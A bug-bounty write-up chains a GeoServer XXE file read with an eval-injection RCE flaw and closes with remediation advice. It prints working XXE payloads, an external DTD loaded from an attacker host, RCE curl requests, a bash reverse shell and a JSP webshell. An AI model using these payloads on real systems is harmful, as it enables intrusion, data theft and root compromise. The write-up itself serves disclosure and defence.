TL;DR — A publicly exposed GeoServer instance was running a version from 2018, vulnerable to two different CVEs: CVE-2025-58360 (XXE — arbitrary file read) and CVE-2024-36401 (unauthenticated RCE via eval injection). This post walks through how a “simple” file read became a reconnaissance oracle leading to full remote code execution as root, and the defensive lessons behind it. The finding was reported through responsible disclosure and accepted (reward: $700).
Background
GeoServer is an open-source Java server for sharing geospatial data (maps, layers, features) through OGC-standard protocols such as WMS, WFS, and WCS. Because it is designed to be public-facing, many GeoServer instances are exposed on the internet — including ones belonging to research institutions and government agencies.
The two CVEs at the heart of this research:
| CVE | Type | Impact |
|---|---|---|
| CVE-2025-58360 | XML External Entity (XXE) in the OWS endpoint | Arbitrary file read, directory listing (via Java’s file:// handler), SSRF, DoS |
| CVE-2024-36401 | Eval injection in OGC request parameters (valueReference, propertyName, CQL_FILTER, etc.) | Unauthenticated Remote Code Execution — all versions prior to 2.23.6 / 2.24.4 / 2.25.2 |
The research question I started with: XXE only gives a file-read primitive — no write, no execute. Can that realistically lead to RCE?
The answer: yes, through chaining.
Reconnaissance
During recon I came across a publicly exposed GeoServer instance (URL masked as https://geoserver.redacted.example). Two things caught my attention:
- The OWS endpoint answered WMS/WFS requests without authentication — normal for GeoServer, but it means the attack surface is wide open.
- Verbose error messages (
ServiceExceptionwith stack traces) — helpful for fingerprinting.
To keep the real target safe, validation against it was kept to an absolute minimum; deep analysis was performed on a local lab replica reproducing the target’s configuration (version, data structure, and deployment layout).
Stage 1 — XXE as the Eyes (CVE-2025-58360)
The XXE lives in the SLD (StyledLayerDescriptor) document that GeoServer parses when processing a WMS GetMap request. The external entity is placed inside the <n> (layer name) element, and the file contents are reflected back inside the WMS ServiceException error — a clean error-based exfiltration channel:
curl -s -X POST \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE StyledLayerDescriptor [ <!ENTITY xxe SYSTEM "file:///etc/os-release">]><StyledLayerDescriptor version="1.0.0"> <NamedLayer> <n>&xxe;</n> </NamedLayer></StyledLayerDescriptor>' \ "https://geoserver.redacted.example/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"The response carries the file contents inside the exception text:
<ServiceException> A UserLayer or NamedLayer without layer name was passed: PRETTY_NAME="Debian GNU/Linux 9 (stretch)" ...</ServiceException>File read confirmed. From here, the same payload is reused throughout the engagement — only the entity path changes:
<!ENTITY xxe SYSTEM "file:///TARGET_PATH">Directory listing via Java’s file:// handler
A nice property of XXE on the Java stack: pointing the entity at a directory (with trailing slash) returns its contents as plain text — effectively a remote ls:
<!ENTITY xxe SYSTEM "file:///">.dockerenv bin etc opt usr var ...<!ENTITY xxe SYSTEM "file:///usr/local/">geoserver tomcat ...The presence of .dockerenv confirmed the target runs inside a Docker container, and /usr/local/ revealed both the geoserver webapp directory and the tomcat home.
In-band limitations worth understanding
Two technical findings during exploitation:
- Files containing null bytes fail —
/proc/self/environtriggersAn invalid XML character (Unicode: 0x0)because XML parsers reject null characters. Ironically, this error itself proves the file was being read. - XML files come back empty or break the parser —
tomcat-users.xmland GeoServer’s own configs are XML; the parser treats<as markup (Scanner State 24 not Recognized). Reading them requires the CDATA wrap via external DTD trick — host this DTD on your machine:
<!-- evil.dtd --><!ENTITY % file SYSTEM "file:///PATH/TO/TARGET"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % wrap "<!ENTITY exfil '%start;%file;%end;'>">%wrap;Then load it in the payload instead of the direct file entity:
<!DOCTYPE StyledLayerDescriptor [ <!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8000/evil.dtd"> %dtd;]><StyledLayerDescriptor version="1.0.0"> <NamedLayer> <n>&exfil;</n> </NamedLayer></StyledLayerDescriptor>Startup logs as an intel goldmine
Tomcat log files are plain text — safe for in-band exfiltration with the base payload:
<!ENTITY xxe SYSTEM "file:///usr/local/tomcat/logs/catalina.2026-07-13.log">The log is extremely rich:
Server version: Apache Tomcat/8.5.31JVM Version: 1.8.0_171-8u171-b11-1~deb9u1-b11Command line argument: -DGEOSERVER_DATA_DIR=/var/local/geoserverThat single line hands you the GeoServer data directory — the key to every subsequent target. The same log also revealed:
- LockOutRealm is active — traces of someone else brute-forcing Tomcat Manager; all accounts locked. Password guessing is a dead end; credentials must be stolen as-is.
- AJP connector on port 8009 — Tomcat 8.5.31 is vulnerable to Ghostcat (CVE-2020-1938), a potential alternative path.
Legacy credentials
<!ENTITY xxe SYSTEM "file:///var/local/geoserver/security/users.properties">admin=geoserver,ROLE_ADMINISTRATORA legacy migration leftover containing default credentials in plaintext. (In this case the active password had been changed — the modern user store lives in security/usergroup/default/users.xml with hashed passwords — but the presence of legacy files like this is a security finding on its own.)
Stage 2 — Precise Version Fingerprinting
Instead of guessing, list the application’s libraries directly — directory listing again:
<!ENTITY xxe SYSTEM "file:///usr/local/geoserver/WEB-INF/lib/">gs-main-2.13.1.jargs-ows-2.13.1.jargt-cql-19.1.jar...GeoServer 2.13.1 (GeoTools 19.1) — released 2018, far below the CVE-2024-36401 patch boundary (2.23.6 / 2.24.4 / 2.25.2). This is where the XXE proved its worth: without a file-read primitive, pinning the version this precisely is much harder.
Stage 3 — RCE (CVE-2024-36401)
GeoServer evaluates expressions in several OGC request parameters. The exec() function registered in GeoTools allows direct system command execution:
curl -G "https://geoserver.redacted.example/geoserver/ows" \ --data-urlencode "service=WFS" \ --data-urlencode "version=2.0.0" \ --data-urlencode "request=GetPropertyValue" \ --data-urlencode "typeName=sf:archsites" \ --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'id')"Note: --data-urlencode matters — raw {, }, and | characters are rejected by Tomcat, and + inside base64 payloads would be mangled into spaces in a query string.
An elegant confirmation trick: the error IS the proof
exec() returns a Process object, which GeoServer cannot render as an attribute — producing a very specific error:
java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast toorg.opengis.feature.type.AttributeDescriptorThis error is proof of RCE. UNIXProcess (Java 8) / ProcessImpl (Java 9+) only appear if Runtime.exec() actually ran. No reverse shell needed, no outbound connection needed — just read the error message. For bug bounty, this is the ideal confirmation: non-destructive and unambiguous.
An even cleaner local verification loop — write a file via RCE, then read it back through the XXE
# Step 1: execute a write via CVE-2024-36401curl -G "https://geoserver.redacted.example/geoserver/ows" \ --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \ --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \ --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/pwned36401')"<!-- Step 2: read it back via CVE-2025-58360 --><!ENTITY xxe SYSTEM "file:///tmp/pwned36401">File exists → RCE confirmed, with zero outbound connectivity required.
Important for fellow hunters: multiple injection points
CVE-2024-36401 has several injection points, and their behavior differs across versions:
propertyNameinGetFeatureis split on commas — the payloadexec(java.lang.Runtime.getRuntime(),'id')gets truncated at the comma and rejected withRequested property: exec(java.lang.Runtime.getRuntime() is not available(bonus: the error leaks the layer’s full attribute schema).valueReferenceon some versions is accepted only as a literal attribute name →No such attribute: exec(...).CQL_FILTERvia GET can fail on the CQL grammar itself (nested function calls in argument position).
The XML Filter POST variant exercises yet another parser path:
curl -X POST "https://geoserver.redacted.example/geoserver/wfs" \ -H "Content-Type: application/xml" -d '<wfs:GetFeature service="WFS" version="1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc"> <wfs:Query typeName="reference:va_county"> <ogc:Filter> <ogc:PropertyIsEqualTo> <ogc:Function name="exec"> <ogc:Literal>java.lang.Runtime.getRuntime()</ogc:Literal> <ogc:Literal>id</ogc:Literal> </ogc:Function> <ogc:Literal>true</ogc:Literal> </ogc:PropertyIsEqualTo> </ogc:Filter> </wfs:Query></wfs:GetFeature>'A scanner/PoC testing only one endpoint is prone to false negatives — a “not vulnerable” verdict means nothing until you’ve manually tried every injection point.
From execution to shell
For interactive access, Java’s Runtime.exec doesn’t interpret pipes/redirects, so the standard base64 pattern is used:
# Attacker sideecho -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0nc -lvnp 4444curl -G "https://geoserver.redacted.example/geoserver/ows" \ --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \ --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \ --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')"And when outbound connectivity is restricted, write a JSP webshell directly into the webroot — the port you already reach is your channel:
curl -G "https://geoserver.redacted.example/geoserver/ows" \ --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \ --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \ --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_JSP}|{base64,-d}|{tee,/usr/local/tomcat/webapps/ROOT/shell.jsp}')"<%@ page import="java.io.*" %><% String c=request.getParameter("cmd");if(c!=null){ Process p=Runtime.getRuntime().exec(c);InputStream i=p.getInputStream(); int b;while((b=i.read())!=-1){ out.write(b); } } %>$ curl "https://geoserver.redacted.example/shell.jsp?cmd=id"uid=0(root) gid=0(root) groups=0(root)Because the GeoServer process runs as root, RCE means full control of the container.
The Full Chain
CVE-2025-58360 (XXE file read) ├─ /etc/os-release, /etc/shadow → target profiling ├─ directory listing via file:// → filesystem mapping ├─ catalina log → GEOSERVER_DATA_DIR + defensive intel ├─ security/users.properties → legacy credentials └─ WEB-INF/lib/ → precise version: 2.13.1 ↓CVE-2024-36401 (eval injection) └─ exec() via OGC parameter → command execution ↓Root shell / persistent webshellThe XXE never executed anything — its role was being the eyes: it turned a blind attacker into one who knows the exact version, layout, credentials, and other weaknesses of the target.
Impact
- Unauthenticated RCE as root on a production server hosting institutional geospatial data.
- Access to the entire GeoServer configuration, including database (PostGIS) credentials stored with reversible encryption.
- Potential pivoting into the internal network.
- Log evidence showed the server was already being probed by other scanners/bots — high risk of active exploitation in the wild.
Remediation
- Upgrade GeoServer to a patched version (≥ 2.23.6 / 2.24.4 / 2.25.2 for CVE-2024-36401; ≥ 2.25.6 / 2.26.2 for CVE-2025-58360). Closing one CVE is not enough — this instance was vulnerable to both at once.
- Never run as root — a non-root process significantly limits RCE impact.
- Remove legacy credential files (
users.properties) after migrating the user store. - Do not deploy Tomcat
manager/host-managerapps in production. - Restrict container egress — reverse shells and exfiltration become far harder without outbound connectivity.
- Disable the AJP connector if unused (port 8009).
- Monitor logs — XXE and eval injection leave distinctive patterns in access and error logs.
Closing Thoughts
This research reinforces an old principle: there is no such thing as a “merely informational” vulnerability. An XXE with no write or execute primitive still becomes a gateway to full compromise when used as a reconnaissance oracle. For hunters: precise fingerprinting is half the battle — and an error message is often the best, non-destructive proof of exploitation you’ll ever get. For defenders: an outdated stack exposed to the public internet is a ticking time bomb, especially once the scanners come knocking.
All URLs and target identifiers are masked. Validation against the real server was kept to a minimum; full impact demonstration was performed on a local lab replica. Thanks to the program’s security team for their fast and professional response.